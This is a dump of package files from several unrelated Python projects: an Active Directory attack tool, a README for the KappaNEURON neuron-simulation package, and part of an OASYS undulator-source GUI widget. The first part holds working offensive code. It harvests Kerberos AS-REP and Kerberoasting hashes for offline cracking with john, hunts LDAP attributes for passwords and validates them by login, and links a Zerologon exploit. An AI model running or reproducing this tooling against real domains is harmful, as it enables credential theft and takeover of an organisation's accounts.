f.write("\n")
print('[ ' + colored('OK', 'green') +' ] Wrote all files to {0}-obj_name'.format(self.output))
def enumKerbPre(self):
# Build user array
users = []
self.conn.search(self.dc_string[:-1], '(&(samaccounttype=805306368)(userAccountControl:1.2.840.113556.1.4.803:=4194304))', attributes=self.ldapProps, search_scope=SUBTREE)
for entry in self.conn.entries:
users.append(str(entry['sAMAccountName']) + '@{0}'.format(self.server))
if len(users) == 0:
print('[ ' + colored('OK', 'green') +' ] Found {0} accounts that does not require Kerberos preauthentication'.format(len(users)))
elif len(users) == 1:
print('[ ' + colored('OK', 'yellow') +' ] Found {0} account that does not require Kerberos preauthentication'.format(len(users)))
else:
print('[ ' + colored('OK', 'yellow') +' ] Found {0} accounts that does not require Kerberos preauthentication'.format(len(users)))
hashes = []
# Build request for Tickets
for usr in users:
clientName = Principal(usr, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
asReq = AS_REQ()
domain = str(self.server).upper()
serverName = Principal('krbtgt/{0}'.format(domain), type=constants.PrincipalNameType.NT_PRINCIPAL.value)
pacReq = KERB_PA_PAC_REQUEST()
pacReq['include-pac'] = True
encodedPacReq = encoder.encode(pacReq)
asReq['pvno'] = 5
asReq['msg-type'] = int(constants.ApplicationTagNumbers.AS_REQ.value)
asReq['padata'] = noValue
asReq['padata'][0] = noValue
asReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_PAC_REQUEST.value)
asReq['padata'][0]['padata-value'] = encodedPacReq
requestBody = seq_set(asReq, 'req-body')
options = list()
options.append(constants.KDCOptions.forwardable.value)
options.append(constants.KDCOptions.renewable.value)
options.append(constants.KDCOptions.proxiable.value)
requestBody['kdc-options'] = constants.encodeFlags(options)
seq_set(requestBody, 'sname', serverName.components_to_asn1)
seq_set(requestBody, 'cname', clientName.components_to_asn1)
requestBody['realm'] = domain
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
requestBody['till'] = KerberosTime.to_asn1(now)
requestBody['rtime'] = KerberosTime.to_asn1(now)
requestBody['nonce'] = random.getrandbits(31)
supportedCiphers = (int(constants.EncryptionTypes.rc4_hmac.value),)
seq_set_iter(requestBody, 'etype', supportedCiphers)
msg = encoder.encode(asReq)
try:
response = sendReceive(msg, domain, self.server)
except KerberosError as e:
if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value:
supportedCiphers = (int(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value), int(constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value),)
seq_set_iter(requestBody, 'etype', supportedCiphers)
msg = encoder.encode(asReq)
response = sendReceive(msg, domain, self.server)
else:
print(e)
continue
asRep = decoder.decode(response, asn1Spec=AS_REP())[0]
hashes.append('$krb5asrep${0}@{1}:{2}${3}'.format(usr, domain, hexlify(asRep['enc-part']['cipher'].asOctets()[:16]).decode(), hexlify(asRep['enc-part']['cipher'].asOctets()[16:]).decode()))
if len(hashes) > 0:
with open('{0}-jtr-hashes'.format(self.server), 'w') as f:
for h in hashes:
f.write(str(h) + '\n')
print('[ ' + colored('OK', 'yellow') +' ] Wrote all hashes to {0}-jtr-hashes'.format(self.server))
else:
print('[ ' + colored('OK', 'green') +' ] Got 0 hashes')
def enumSPNUsers(self):
users_spn = {
}
user_tickets = {
}
userDomain = self.domuser.split('@')[1]
idx = 0
for entry in self.spn:
spns = json.loads(self.spn[idx].entry_to_json())
users_spn[self.splitJsonArr(spns['attributes'].get('name'))] = self.splitJsonArr(spns['attributes'].get('servicePrincipalName'))
idx += 1
# Get TGT for the supplied user
client = Principal(self.domuser, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
try:
# We need to take the domain from the user@domain since it *could* be a cross-domain user
tgt, cipher, _, newSession = getKerberosTGT(client, '', userDomain, compute_lmhash(self.passwd), compute_nthash(self.passwd), None, kdcHost=None)
TGT = {}
TGT['KDC_REP'] = tgt
TGT['cipher'] = cipher
TGT['sessionKey'] = newSession
for user, spn in users_spn.items():
if isinstance(spn, list):
# We only really need one to get a ticket
spn = spn[0]
else:
try:
# Get the TGS
serverName = Principal(spn, type=constants.PrincipalNameType.NT_SRV_INST.value)
tgs, cipher, _, newSession = getKerberosTGS(serverName, userDomain, None, TGT['KDC_REP'], TGT['cipher'], TGT['sessionKey'])
# Decode the TGS
decoded = decoder.decode(tgs, asn1Spec=TGS_REP())[0]
# Get different encryption types
if decoded['ticket']['enc-part']['etype'] == constants.EncryptionTypes.rc4_hmac.value:
entry = '$krb5tgs${0}$*{1}${2}${3}*${4}${5}'.format(constants.EncryptionTypes.rc4_hmac.value, user, decoded['ticket']['realm'], spn.replace(':', '~'), hexlify(decoded['ticket']['enc-part']['cipher'][:16].asOctets()).decode(), hexlify(decoded['ticket']['enc-part']['cipher'][16:].asOctets()).decode())
user_tickets[spn] = entry
elif decoded['ticket']['enc-part']['etype'] == constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value:
entry = '$krb5tgs${0}${1}${2}$*{3}*${4}${5}'.format(constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value, user, decoded['ticket']['realm'], spn.replace(':', '~'), hexlify(decoded['ticket']['enc-part']['cipher'][-12:].asOctets()).decode(), hexlify(decoded['ticket']['enc-part']['cipher'][:-12].asOctets()).decode())
user_tickets[spn] = entry
elif decoded['ticket']['enc-part']['etype'] == constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value:
entry = '$krb5tgs${0}${1}${2}$*{3}*${4}${5}'.format(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value, user, decoded['ticket']['realm'], spn.replace(':', '~'), hexlify(decoded['ticket']['enc-part']['cipher'][-12:].asOctets()).decode(), hexlify(decoded['ticket']['enc-part']['cipher'][:-12].asOctets()).decode())
user_tickets[spn] = entry
elif decoded['ticket']['enc-part']['etype'] == constants.EncryptionTypes.des_cbc_md5.value:
entry = '$krb5tgs${0}$*{1}${2}${3}*${4}${5}'.format(constants.EncryptionTypes.des_cbc_md5.value, user, decoded['ticket']['realm'], spn.replace(':', '~'), hexlify(decoded['ticket']['enc-part']['cipher'][:16].asOctets()).decode(), hexlify(decoded['ticket']['enc-part']['cipher'][16:].asOctets()).decode())
user_tickets[spn] = entry
except KerberosError:
# For now continue
# TODO: Maybe look deeper into issue here
continue
if len(user_tickets.keys()) > 0:
with open('{0}-spn-tickets'.format(self.server), 'w') as f:
for key, value in user_tickets.items():
f.write('{0}:{1}\n'.format(key, value))
if len(user_tickets.keys()) == 1:
print('[ ' + colored('OK', 'yellow') +' ] Got and wrote {0} ticket for Kerberoasting. Run: john --format=krb5tgs --wordlist=<list> {1}-spn-tickets'.format(len(user_tickets.keys()), self.server))
else:
print('[ ' + colored('OK', 'yellow') +' ] Got and wrote {0} tickets for Kerberoasting. Run: john --format=krb5tgs --wordlist=<list> {1}-spn-tickets'.format(len(user_tickets.keys()), self.server))
else:
print('[ ' + colored('OK', 'green') +' ] Got {0} tickets for Kerberoasting'.format(len(user_tickets.keys())))
except KerberosError as err:
print('[ ' + colored('ERROR', 'red') +' ] Kerberoasting failed with error: {0}'.format(err.getErrorString()[1]))
def enumForCreds(self, ldapdump):
searchTerms = [
'legacy', 'pass', 'password', 'pwd', 'passcode'
]
excludeTerms = [
'badPasswordTime', 'badPwdCount', 'pwdLastSet', 'legacyExchangeDN'
]
possiblePass = {}
idx = 0
for _ in ldapdump:
user = json.loads(ldapdump[idx].entry_to_json())
for prop, value in user['attributes'].items():
if any(term in prop.lower() for term in searchTerms) and not any(ex in prop for ex in excludeTerms):
try:
possiblePass[user['attributes']['userPrincipalName'][0]] = value[0]
except KeyError:
# Could be a service user instead
try:
possiblePass[user['attributes']['servicePrincipalName'][0]] = value[0]
except KeyError:
# Don't know which type
continue
idx += 1
if len(possiblePass) > 0:
print('[ ' + colored('INFO', 'green') +' ] Found possible password in properties')
print('[ ' + colored('INFO', 'green') +' ] Attempting to determine if it is a password')
for user, password in possiblePass.items():
try:
usr, passwd = self.entroPass(user, password)
except TypeError:
# None returned, just continue
continue
if not self.CREDS:
self.domuser = usr
self.passwd = passwd
self.runWithCreds()
return
def entroPass(self, user, password):
if not password:
return None
# First check if it is a clear text
dc_test_conn = Server(self.server, get_info=ALL)
test_conn = Connection(dc_test_conn, user=user, password=password)
test_conn.bind()
# Validate the login (bind) request
if int(test_conn.result['result']) != 0:
if self.CREDS:
print('[ ' + colored('INFO', 'yellow') +' ] User: "{0}" with: "{1}" as possible clear text password'.format(user, password))
else:
print('[ ' + colored('INFO', 'green') +' ] User: "{0}" with: "{1}" was not cleartext'.format(user, password))
else:
if self.CREDS:
print('[ ' + colored('INFO', 'yellow') +' ] User: "{0}" had cleartext password of: "{1}" in a property'.format(user, password))
else:
print('[ ' + colored('OK', 'yellow') +' ] User: "{0}" had cleartext password of: "{1}" in a property - continuing with these creds'.format(user, password))
print('')
return user, password
test_conn.unbind()
# Attempt for base64
# Could be base64, lets try
try:
pw = base64.b64decode(bytes(password, encoding='utf-8')).decode('utf-8')
except base64.binascii.Error:
return None
# Attempt decoded PW
dc_test_conn = Server(self.server, get_info=ALL)
test_conn = Connection(dc_test_conn, user=user, password=pw)
test_conn.bind()
# Validate the login (bind) request
if int(test_conn.result['result']) != 0:
if self.CREDS:
print('[ ' + colored('INFO', 'yellow') +' ] User: "{0}" with: "{1}" as possible base64 decoded password'.format(user, pw))
else:
print('[ ' + colored('INFO', 'green') +' ] User: "{0}" with: "{1}" was not base64 encoded'.format(user, pw))
else:
if self.CREDS:
print('[ ' + colored('INFO', 'yellow') +' ] User: "{0}" had base64 encoded password of: "{1}" in a property'.format(user, pw))
else:
print('[ ' + colored('OK', 'yellow') +' ] User: "{0}" had base64 encoded password of: "{1}" in a property - continuing with these creds'.format(user, pw))
print('')
return user, pw
def main(args):
parser = argparse.ArgumentParser(prog='ade', formatter_class=argparse.RawDescriptionHelpFormatter, description=textwrap.dedent('''
___ __ _ ____ _ __ ______
/ | _____/ /_(_) _____ / __ \(_)_______ _____/ /_____ _______ __/ ____/___ __ ______ ___
/ /| |/ ___/ __/ / | / / _ \/ / / / / ___/ _ \/ ___/ __/ __ \/ ___/ / / / __/ / __ \/ / / / __ `__ \\
/ ___ / /__/ /_/ /| |/ / __/ /_/ / / / / __/ /__/ /_/ /_/ / / / /_/ / /___/ / / / /_/ / / / / / /
/_/ |_\___/\__/_/ |___/\___/_____/_/_/ \___/\___/\__/\____/_/ \__, /_____/_/ /_/\__,_/_/ /_/ /_/
/____/
/*----------------------------------------------------------------------------------------------------------*/
'''))
parser.add_argument('--dc', type=str, help='Hostname of the Domain Controller')
parser.add_argument('-o', '--out-file', type=str, help='Path to output file. If no path, CWD is assumed (default: None)')
parser.add_argument('-u', '--user', type=str, help='Username of the domain user to query with. The username has to be domain name as `[email protected]`')
parser.add_argument('-s', '--secure', help='Try to estalish connection through LDAPS', action='store_true')
parser.add_argument('-smb', '--smb', help='Force enumeration of SMB shares on all computer objects fetched', action='store_true')
parser.add_argument('-kp', '--kerberos_preauth', help='Attempt to gather users that does not require Kerberos preauthentication', action='store_true')
parser.add_argument('-bh', '--bloodhound', help='Output data in the format expected by BloodHound', action='store_true')
parser.add_argument('-spn', help='Attempt to get all SPNs and perform Kerberoasting', action='store_true')
parser.add_argument('-sysvol', help='Search sysvol for GPOs with cpassword and decrypt it', action='store_true')
parser.add_argument('--all', help='Run all checks', action='store_true')
parser.add_argument('--no-creds', help='Start without credentials', action='store_true')
parser.add_argument('--dry-run', help='Don\'t execute a test but run as if. Used for testing params etc.', action='store_true')
parser.add_argument('--exploit', type=str, help='Show path to PoC exploit code')
exploits = {
"cve-2020-1472": "https://github.com/dirkjanm/CVE-2020-1472",
}
if len(args) == 1:
parser.print_help(sys.stderr)
sys.exit(0)
args = parser.parse_args()
if args.exploit:
if args.exploit.lower() in exploits.keys():
print('Exploit for: ' + colored(args.exploit.lower(), 'green') + f' can be found at: {exploits[args.exploit.lower()]}')
sys.exit(0)
else:
print(f'{args.exploit.lower()} not in imbedded exploits')
sys.exit(0)
if not args.dc:
print("--dc argument is required")
sys.exit(0)
# If theres more than 4 sub'ed (test.test.domain.local) - tough luck sunny boy
domainRE = re.compile(r'^((?:[a-zA-Z0-9-.]+)?(?:[a-zA-Z0-9-.]+)?[a-zA-Z0-9-]+\.[a-zA-Z]+)$')
userRE = re.compile(r'^([a-zA-Z0-9-\.]+@(?:[a-zA-Z0-9-.]+)?(?:[a-zA-Z0-9-.]+)?[a-zA-Z0-9-]+\.[a-zA-Z0-9-]+)$')
domainMatch = domainRE.findall(args.dc)
if not domainMatch:
print('[ ' + colored('ERROR', 'red') +' ] Domain flag has to be in the form "domain.local"')
sys.exit(1)
if args.all:
args.smb = True
args.kerberos_preauth = True
args.bloodhound = True
args.spn = True
if args.no_creds:
args.user = False
else:
userMatch = userRE.findall(args.user)
if not userMatch:
print('[ ' + colored('ERROR', 'red') +' ] User flag has to be in the form "[email protected]"')
sys.exit(1)
# Boolean flow control flags
file_to_write = None
if args.out_file:
file_to_write = args.out_file
enumAD = EnumAD(args.dc, args.secure, file_to_write, args.smb, args.bloodhound, args.kerberos_preauth, args.spn, args.sysvol, args.dry_run, args.user)
# Just print a blank line for output sake
print('') | PypiClean |
/KappaNEURON-0.3.1.tar.gz/KappaNEURON-0.3.1/README.md | KappaNEURON
===========
KappaNEURON integrates the [SpatialKappa][SpatialKappa] simulator with
[NEURON][NEURON] to allow rule-based simulations of molecular systems
embedded in neurons.
For example, the package facilitates simulation of dynamic models of
the postsynaptic proteome in the context of the spine head.


Publications
------------
Please cite Sterratt & al. (2015) when using KappaNEURON:
* Sterratt, D. C., Sorokina, O. and Armstrong,
J. D. (2015). ‘Integration of rule-based models and compartmental
models of neurons’. Lecture Notes in Bioinformatics 7699: 143-158.
Presented to the Third International Workshop on Hybrid Systems
Biology Vienna, Austria, July 23-24, 2014 at the International
Conference on Computer-Aided
Verification 2014. [doi:10.1007/978-3-319-27656-4_9](http://dx.doi.org/10.1007/978-3-319-27656-4_9). Preprint at <a title="Abstract"
href="http://arxiv.org/abs/1411.4980">arXiv:1411.4980</a>
* [Presentation given to Hybrid Systems Biology 2014](doc/2014-07-24-rb-compartmental-method.pdf)
Installation & testing
------------------------
1. Install NEURON v. 7.4 with python enabled using [these instructions
for Ubuntu 18.04][INSTALL-neuron]
2. Create a virtual environment:
```
sudo apt install virtualenv
virtualenv --python=python2.7 /tmp/KappaNEURON
source /tmp/KappaNEURON/bin/activate
```
3. Run `pip install KappaNEURON`
4. Run an inital test:
```
python2.7 -i -m unittest KappaNEURON.tests.TestCaAccumulation.test_injectCalcium
```
The test should return `OK` and the following figure window should
appear

The figure will be saved in PNG format to the directory
`test_figs`.
5. At present is not possible to run the entire test suite in one go,
because completely clean tear down of the test environoment is not
possible with the current version of KappaNEURON. Therefore
individual tests can be run as follows:
```
python2.7 -m unittest KappaNEURON.tests.TestCaAccumulation.test_injectCalciumGHK
python2.7 -m unittest KappaNEURON.tests.TestCaAccumulation.test_injectCalciumPump
python2.7 -m unittest KappaNEURON.tests.TestCaAccumulation.test_injectCalciumPumpGHK
python2.7 -m unittest KappaNEURON.tests.TestCaAccumulation.test_injectCalciumPump2
python2.7 -m unittest KappaNEURON.tests.TestCaAccumulation.test_injectCalciumPump2k2
python2.7 -m unittest KappaNEURON.tests.TestCaAccumulation.test_twoMembraneSpecies
python2.7 -m unittest KappaNEURON.tests.TestCaAccumulation.test_twoMembraneSpeciesOneUncharged
```
Most of these tests save figures to `test_figs`. The red ("mod")
and blue ("kappa") curves in these figures should more-or-less
overlap. The kappa curves will be more irregular, because of the
stochstic simulation.
KappaNEURON has been tested on the following combinations of software:
| KappaNEURON | OS | gcc | Python | Java | py4j | NEURON |
|-------------|--------------|-------|--------|-----------|--------|-----------------------------------------------------|
| 0.1.0 | Ubuntu 14.04 | 4.8.4 | 2.7 | openjdk 7 | 0.10.4 | trunk of NEURON mercurial repository on 2014-09-23 |
| 0.2.0 | Ubuntu 14.04 | 4.8.4 | 2.7 | openjdk 7 | 0.10.4 | 7.4 as of 2017-01-13 |
| 0.2.0 | Ubuntu 16.04 | 5.4.0 | 2.7 | openjdk 7 | 0.10.4 | 7.4 as of 2017-01-13 |
Getting started
---------------
Code for the two demo simulations in Sterratt & al. (2015) paper are
the `demos` subdirectory:
1. [Calcium pump in response to calcium pulse](demo/ca_pulse)
2. [Ca-CaM-CaMKII pathway in the postsynaptic density](demo/psd)
Authorship & License
--------------------
KappaNEURON is Copyright © 2013-2014, 2017 David C. Sterratt
<<[email protected]>> and is released under the
[GPL Version 3](http://www.gnu.org/copyleft/gpl.html).
We thank Anatoly Sorokin for his help with SpatialKappa and Vincent
Danos for helpful discussions.
Acknowledgements
----------------
The research leading to these results has received funding from the
European Union Seventh Framework Programme (FP7/2007-2013) under grant
agreement nos. 241498 (EUROSPIN project), 242167 (SynSys-project) and
604102 (Human Brain Project).
[SpatialKappa]: https://github.com/davidcsterratt/SpatialKappa "SpatialKappa"
[NEURON]: http://neuron.yale.edu/neuron/ "NEURON"
[INSTALL-neuron]: doc/INSTALL-neuron.md "NEURON installation instructions"
<!-- LocalWords: KappaNEURON SpatialKappa KappNEURON Sterratt Danos
-->
<!-- LocalWords: Anatoly Sorokin FP EUROSPIN SynSys
-->
| PypiClean |
/OASYS1-APS-Extensions-1.0.87.tar.gz/OASYS1-APS-Extensions-1.0.87/orangecontrib/aps/shadow/widgets/extension/ow_aps_undulator.py |
import numpy
from numpy.matlib import repmat
from scipy.signal import convolve2d
from silx.gui.plot import Plot2D
from PyQt5.QtWidgets import QDialog, QVBoxLayout, QLabel, QDialogButtonBox
from PyQt5.QtGui import QPixmap, QPalette, QColor, QFont
from PyQt5 import QtWidgets
import orangecanvas.resources as resources
from orangewidget import gui
from orangewidget.settings import Setting
from oasys.widgets import gui as oasysgui
from oasys.widgets import congruence
from orangewidget import widget
from oasys.util.oasys_util import TriggerOut, EmittingStream
from syned.beamline.beamline import Beamline
from syned.beamline.optical_elements.absorbers.slit import Slit
from syned.storage_ring.light_source import ElectronBeam, LightSource
from syned.widget.widget_decorator import WidgetDecorator
from syned.beamline.shape import Rectangle
from srxraylib.util.inverse_method_sampler import Sampler2D
from orangecontrib.shadow.util.shadow_objects import ShadowBeam, ShadowSource
from orangecontrib.shadow.widgets.gui.ow_generic_element import GenericElement
from orangecontrib.aps.util.custom_distribution import CustomDistribution
import scipy.constants as codata
m2ev = codata.c * codata.h / codata.e
from oasys_srw.srwlib import *
from oasys_srw.srwlib import array as srw_array
VERTICAL = 1
HORIZONTAL = 2
BOTH = 3
class Distribution:
POSITION = 0
DIVERGENCE = 1
class APSUndulator(GenericElement):
TABS_AREA_HEIGHT = 620
name = "APS Undulator"
description = "Shadow Source: APS Undulator"
icon = "icons/undulator.png"
priority = 1
maintainer = "Luca Rebuffi"
maintainer_email = "luca.rebuffi(@at@)elettra.eu"
category = "Sources"
keywords = ["data", "file", "load", "read"]
inputs = WidgetDecorator.syned_input_data()
inputs.append(("SynedData#2", Beamline, "receive_syned_data"))
inputs.append(("Trigger", TriggerOut, "sendNewBeam"))
outputs = [{"name":"Beam",
"type":ShadowBeam,
"doc":"Shadow Beam",
"id":"beam"}]
distribution_source = Setting(0)
# SRW INPUT
cumulated_view_type = Setting(0)
number_of_periods = Setting(184) # Number of ID Periods (without counting for terminations
undulator_period = Setting(0.025) # Period Length [m]
Kv = Setting(0.857)
Kh = Setting(0)
Bh = Setting(0.0)
Bv = Setting(1.5)
magnetic_field_from = Setting(0)
initial_phase_vertical = Setting(0.0)
initial_phase_horizontal = Setting(0.0)
symmetry_vs_longitudinal_position_vertical = Setting(1)
symmetry_vs_longitudinal_position_horizontal = Setting(0)
horizontal_central_position = Setting(0.0)
vertical_central_position = Setting(0.0)
longitudinal_central_position = Setting(0.0)
electron_energy_in_GeV = Setting(6.0)
electron_energy_spread = Setting(1.35e-3)
ring_current = Setting(0.2)
electron_beam_size_h = Setting(1.45e-05)
electron_beam_size_v = Setting(2.8e-06)
electron_beam_divergence_h = Setting(2.9e-06)
electron_beam_divergence_v = Setting(1.5e-06)
auto_expand = Setting(0)
auto_expand_rays = Setting(0)
type_of_initialization = Setting(0)
moment_x = Setting(0.0)
moment_y = Setting(0.0)
moment_z = Setting(0.0)
moment_xp = Setting(0.0)
moment_yp = Setting(0.0)
source_dimension_wf_h_slit_gap = Setting(0.0015)
source_dimension_wf_v_slit_gap = Setting(0.0015)
source_dimension_wf_h_slit_points=Setting(301)
source_dimension_wf_v_slit_points=Setting(301)
source_dimension_wf_distance = Setting(28.0)
horizontal_range_modification_factor_at_resizing = Setting(0.5)
horizontal_resolution_modification_factor_at_resizing = Setting(5.0)
vertical_range_modification_factor_at_resizing = Setting(0.5)
vertical_resolution_modification_factor_at_resizing = Setting(5.0)
kind_of_sampler = Setting(1)
save_srw_result = Setting(0)
# SRW FILE INPUT
source_dimension_srw_file = Setting("intensity_source_dimension.dat")
angular_distribution_srw_file = Setting("intensity_angular_distribution.dat")
# ASCII FILE INPUT
x_positions_file = Setting("x_positions.txt")
z_positions_file = Setting("z_positions.txt")
x_positions_factor = Setting(0.01)
z_positions_factor = Setting(0.01)
x_divergences_file = Setting("x_divergences.txt")
z_divergences_file = Setting("z_divergences.txt")
x_divergences_factor = Setting(1.0)
z_divergences_factor = Setting(1.0)
combine_strategy = Setting(0)
# SHADOW SETTINGS
number_of_rays=Setting(5000)
seed=Setting(6775431)
use_harmonic = Setting(0)
harmonic_number = Setting(1)
harmonic_energy = 0.0
energy=Setting(10000.0)
polarization = Setting(1)
coherent_beam = Setting(0)
phase_diff = Setting(0.0)
polarization_degree = Setting(1.0)
optimize_source=Setting(0)
optimize_file_name = Setting("NONESPECIFIED")
max_number_of_rejected_rays = Setting(10000000)
file_to_write_out = Setting(0)
auto_energy = Setting(0.0)
auto_harmonic_number = Setting(1)
energy_step = None
power_step = None
start_event = True
compute_power = False
integrated_flux = None
power_density = None
cumulated_energies = None
cumulated_integrated_flux = None
cumulated_power_density = None
cumulated_power = None
def __init__(self, show_automatic_box=False):
super().__init__(show_automatic_box=show_automatic_box)
self.runaction = widget.OWAction("Run Shadow/Source", self)
self.runaction.triggered.connect(self.runShadowSource)
self.addAction(self.runaction)
self.general_options_box.setVisible(False)
button_box = oasysgui.widgetBox(self.controlArea, "", addSpace=False, orientation="horizontal")
button = gui.button(button_box, self, "Run Shadow/Source", callback=self.runShadowSource)
font = QFont(button.font())
font.setBold(True)
button.setFont(font)
palette = QPalette(button.palette()) # make a copy of the palette
palette.setColor(QPalette.ButtonText, QColor('Dark Blue'))
button.setPalette(palette) # assign new palette
button.setFixedHeight(45)
button = gui.button(button_box, self, "Reset Fields", callback=self.callResetSettings)
font = QFont(button.font())
font.setItalic(True)
button.setFont(font)
palette = QPalette(button.palette()) # make a copy of the palette
palette.setColor(QPalette.ButtonText, QColor('Dark Red'))
button.setPalette(palette) # assign new palette
button.setFixedHeight(45)
button.setFixedWidth(150)
gui.separator(self.controlArea)
######################################
self.controlArea.setFixedWidth(self.CONTROL_AREA_WIDTH)
tabs_setting = oasysgui.tabWidget(self.controlArea)
tabs_setting.setFixedHeight(self.TABS_AREA_HEIGHT)
tabs_setting.setFixedWidth(self.CONTROL_AREA_WIDTH-5)
tab_shadow = oasysgui.createTabPage(tabs_setting, "Shadow Setting")
tab_spdiv = oasysgui.createTabPage(tabs_setting, "Position/Divergence Setting")
tab_util = oasysgui.createTabPage(tabs_setting, "Utility")
gui.comboBox(tab_spdiv, self, "distribution_source", label="Distribution Source", labelWidth=310,
items=["SRW Calculation", "SRW Files", "ASCII Files"], orientation="horizontal", callback=self.set_DistributionSource)
self.srw_box = oasysgui.widgetBox(tab_spdiv, "", addSpace=False, orientation="vertical", height=550)
self.srw_files_box = oasysgui.widgetBox(tab_spdiv, "", addSpace=False, orientation="vertical", height=550)
self.ascii_box = oasysgui.widgetBox(tab_spdiv, "", addSpace=False, orientation="vertical", height=550)
self.set_DistributionSource()
####################################################################################
# SHADOW
left_box_1 = oasysgui.widgetBox(tab_shadow, "Monte Carlo and Energy Spectrum", addSpace=False, orientation="vertical")
oasysgui.lineEdit(left_box_1, self, "number_of_rays", "Number of Rays", tooltip="Number of Rays", labelWidth=250, valueType=int, orientation="horizontal")
oasysgui.lineEdit(left_box_1, self, "seed", "Seed", tooltip="Seed (0=clock)", labelWidth=250, valueType=int, orientation="horizontal")
gui.comboBox(left_box_1, self, "use_harmonic", label="Photon Energy Setting",
items=["Harmonic", "Other"], labelWidth=260,
callback=self.set_WFUseHarmonic, sendSelectedValue=False, orientation="horizontal")
self.use_harmonic_box_1 = oasysgui.widgetBox(left_box_1, "", addSpace=False, orientation="vertical", height=50)
oasysgui.lineEdit(self.use_harmonic_box_1, self, "harmonic_number", "Harmonic #", labelWidth=260, valueType=int, orientation="horizontal", callback=self.set_harmonic_energy)
le_he = oasysgui.lineEdit(self.use_harmonic_box_1, self, "harmonic_energy", "Harmonic Energy", labelWidth=260, valueType=float, orientation="horizontal")
le_he.setReadOnly(True)
font = QFont(le_he.font())
font.setBold(True)
le_he.setFont(font)
palette = QPalette(le_he.palette())
palette.setColor(QPalette.Text, QColor('dark blue'))
palette.setColor(QPalette.Base, QColor(243, 240, 160))
le_he.setPalette(palette)
self.use_harmonic_box_2 = oasysgui.widgetBox(left_box_1, "", addSpace=False, orientation="vertical", height=50)
oasysgui.lineEdit(self.use_harmonic_box_2, self, "energy", "Photon Energy [eV]", labelWidth=260, valueType=float, orientation="horizontal")
self.set_WFUseHarmonic()
polarization_box = oasysgui.widgetBox(tab_shadow, "Polarization", addSpace=False, orientation="vertical", height=140)
gui.comboBox(polarization_box, self, "polarization", label="Polarization", labelWidth=310,
items=["No", "Yes"], orientation="horizontal", callback=self.set_Polarization)
self.ewp_box_8 = oasysgui.widgetBox(polarization_box, "", addSpace=False, orientation="vertical")
gui.comboBox(self.ewp_box_8, self, "coherent_beam", label="Coherent Beam", labelWidth=310,
items=["No", "Yes"], orientation="horizontal")
oasysgui.lineEdit(self.ewp_box_8, self, "phase_diff", "Phase Difference [deg,0=linear,+90=ell/right]", labelWidth=310, valueType=float, orientation="horizontal")
oasysgui.lineEdit(self.ewp_box_8, self, "polarization_degree", "Polarization Degree [cos_s/(cos_s+sin_s)]", labelWidth=310, valueType=float, orientation="horizontal")
self.set_Polarization()
##############################
left_box_4 = oasysgui.widgetBox(tab_shadow, "Reject Rays", addSpace=False, orientation="vertical", height=140)
gui.comboBox(left_box_4, self, "optimize_source", label="Optimize Source", items=["No", "Using file with phase/space volume)", "Using file with slit/acceptance"],
labelWidth=120, callback=self.set_OptimizeSource, orientation="horizontal")
self.optimize_file_name_box = oasysgui.widgetBox(left_box_4, "", addSpace=False, orientation="vertical", height=80)
file_box = oasysgui.widgetBox(self.optimize_file_name_box, "", addSpace=True, orientation="horizontal", height=25)
self.le_optimize_file_name = oasysgui.lineEdit(file_box, self, "optimize_file_name", "File Name", labelWidth=100, valueType=str, orientation="horizontal")
gui.button(file_box, self, "...", callback=self.selectOptimizeFile)
oasysgui.lineEdit(self.optimize_file_name_box, self, "max_number_of_rejected_rays", "Max number of rejected rays (set 0 for infinity)", labelWidth=280, valueType=int, orientation="horizontal")
self.set_OptimizeSource()
adv_other_box = oasysgui.widgetBox(tab_shadow, "Optional file output", addSpace=False, orientation="vertical")
gui.comboBox(adv_other_box, self, "file_to_write_out", label="Files to write out", labelWidth=120,
items=["None", "Begin.dat", "Debug (begin.dat + start.xx/end.xx)"],
sendSelectedValue=False, orientation="horizontal")
####################################################################################
# SRW
tabs_srw = oasysgui.tabWidget(self.srw_box)
gui.comboBox(self.srw_box, self, "kind_of_sampler", label="Random Generator", labelWidth=250,
items=["Simple", "Accurate", "Accurate (SRIO)", ], orientation="horizontal")
gui.comboBox(self.srw_box, self, "save_srw_result", label="Save SRW results", labelWidth=310,
items=["No", "Yes"], orientation="horizontal", callback=self.set_SaveFileSRW)
self.save_file_box = oasysgui.widgetBox(self.srw_box, "", addSpace=False, orientation="vertical")
self.save_file_box_empty = oasysgui.widgetBox(self.srw_box, "", addSpace=False, orientation="vertical", height=55)
file_box = oasysgui.widgetBox(self.save_file_box, "", addSpace=False, orientation="horizontal", height=25)
self.le_source_dimension_srw_file = oasysgui.lineEdit(file_box, self, "source_dimension_srw_file", "Source Dimension File", labelWidth=140, valueType=str, orientation="horizontal")
gui.button(file_box, self, "...", callback=self.selectSourceDimensionFile)
file_box = oasysgui.widgetBox(self.save_file_box, "", addSpace=False, orientation="horizontal", height=25)
self.le_angular_distribution_srw_file = oasysgui.lineEdit(file_box, self, "angular_distribution_srw_file", "Angular Distribution File", labelWidth=140, valueType=str, orientation="horizontal")
gui.button(file_box, self, "...", callback=self.selectAngularDistributionFile)
self.set_SaveFileSRW()
tab_ls = oasysgui.createTabPage(tabs_srw, "Undulator Setting")
tab_wf = oasysgui.createTabPage(tabs_srw, "Wavefront Setting")
####################################
tab_und = oasysgui.tabWidget(tab_ls)
tab_mach = oasysgui.createTabPage(tab_und, "Machine Parameters")
tab_id = oasysgui.createTabPage(tab_und, "ID Parameters")
tab_traj = oasysgui.createTabPage(tab_und, "Trajectory")
oasysgui.lineEdit(tab_id, self, "undulator_period", "Period Length [m]", labelWidth=260, valueType=float, orientation="horizontal", callback=self.set_harmonic_energy)
oasysgui.lineEdit(tab_id, self, "number_of_periods", "Number of Periods", labelWidth=260, valueType=float, orientation="horizontal")
oasysgui.lineEdit(tab_id, self, "horizontal_central_position", "Horizontal Central Position [m]", labelWidth=260, valueType=float, orientation="horizontal")
oasysgui.lineEdit(tab_id, self, "vertical_central_position", "Vertical Central Position [m]", labelWidth=260, valueType=float, orientation="horizontal")
